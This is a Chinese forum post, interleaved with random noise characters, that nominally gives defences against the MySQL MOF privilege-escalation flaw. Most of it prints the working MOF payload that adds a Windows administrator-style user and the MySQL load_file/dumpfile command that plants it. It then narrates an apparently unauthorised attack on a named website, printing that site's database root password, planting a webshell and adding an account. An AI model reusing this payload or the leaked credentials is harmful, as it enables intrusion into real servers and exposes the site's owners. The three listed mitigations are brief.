Mysql mof扩展漏洞防范方法* O' N( h: w; L. ?% X
' s3 |5 `4 n( [! J
网上公开的一些利用代码:& g! C/ p2 h4 w8 y
- z% K; L: R' O/ L. I2 y1 R0 c#pragma namespace(“\\\\.\\root\\subscription”); R" A: N$ H1 K V( I
, I" V! D" C/ n+ Y3 iinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };- a) E8 l2 R& G7 W: d0 V c
# [/ Q& i" p6 W5 Q$ E4 i
4 P' e7 ^" L" v7 I3 S
; g& f D1 O- C/ R4 d! d
5 f/ J- O% W3 I) Z4 Q& x1 I- W* c* F5 C5 N) z2 A {( w
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
! L) L; K% L+ m8 r* H! N- L3 q从上面代码来看得出解决办法:# N+ B' `+ ^6 R6 v# p
5 y# [& f9 t7 g5 h+ k1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
7 ^% L6 K4 b) T: j, O7 [) n7 k6 r; @* R# X/ \! G
2、禁止使用”WScript.Shel”组件
1 x4 @0 f/ b! O" H: w$ Q" ?: S( V5 ]: y; q2 x
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
. k7 l( X' w* n. p' ?* B$ X8 I
0 G; y1 I+ ^$ _9 T当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下7 W6 Q7 t' ]! t0 B2 I/ t, z
7 a( \0 _( A2 c/ J* E- X7 K" X' u
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
- @) ~- G4 S9 @ u
# h* S& {7 y$ g- X2 F v但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
( _. t" [* M: s7 k1 O; G
! Z/ \5 }9 d4 v# B% B看懂了后就开始练手吧
7 m$ p3 F$ ?. I, {; y4 C4 |! T
http://www.webbmw.com/config/config_ucenter.php 一句话 a- v& M6 @7 N( o S3 q {9 }
9 c r) S2 c! Y
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。! V0 U: S( L6 c, C
: l- w o9 r& g& i: @8 I. ?于是直接用菜刀开搞
; t a$ s( U; T) ?: F& i6 ^8 C, x1 |0 @- q o& j) S
上马先
% R0 F9 @0 u0 U* o! n
5 W- h! n. l$ ~ Y既然有了那些账号 之类的 于是我们就执行吧…….4 h) o$ L& A: X) G
- Z( w1 d* X* f
小小的说下% \4 L, H" g M) `
+ f6 u7 C& ~: D* a. ~
在这里第1次执行未成功 原因未知
, _8 D& E) x8 ]0 [8 n) D9 T5 G4 ~3 v' J8 g% |
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
0 I1 v0 I+ } X) _ z: z. M, M7 R& V0 L1 f
#pragma namespace(“\\\\.\\root\\subscription”)
0 y+ N7 X& F+ t8 ^: g+ ]- w2 y. F- D# U0 n
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };- `' L6 d! J5 y9 u
+ _8 R7 m1 g H, X7 K& T
我是将文件放到C:\WINDOWS\temp\1.mof& K! {0 f5 _0 U7 P& ~& }% B: R- T
! A) m& M( N* a6 r# _6 b
所以我们就改下执行的代码
; }6 R/ r# ]! L, |9 y: ?, N3 b+ M8 e9 B
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
: {" V+ @4 x+ o
0 z3 h" W: d7 g. W/ b* ^4 d2 h7 F' H) }1 j/ u& L: _9 J- z3 }
8 C5 }5 ^. C/ x% x
但是 你会发现账号还是没有躺在那里。。
6 S- K$ S/ M( h, i& T
, I2 E7 W" Y5 F# K3 F/ {于是我就感觉蛋疼6 b, _, c/ |# N" W* j: I
' h' s5 G t% @- m) G% S
就去一个一个去执行 但是执行到第2个 mysql时就成功了………; t% A5 G9 l8 y N
* j& {0 Z& y$ q$ C3 V3 X
- p- t8 w6 @2 n/ m
3 a. ~, d. J6 t2 g但是其他库均不成功…
, {; E% {- p9 K) E; _( w# |9 d8 ] Q. V' m: o+ p& ]" b! U. @
我就很费解呀 到底为什么不成功求大牛解答…' `% i" @7 I9 N5 g1 G& c
% l& N6 @5 w" h9 _: c; G! j3 [8 g- A' ^& B( N/ ]4 O
( d6 Y3 r8 U$ A7 }5 x F& f( Y |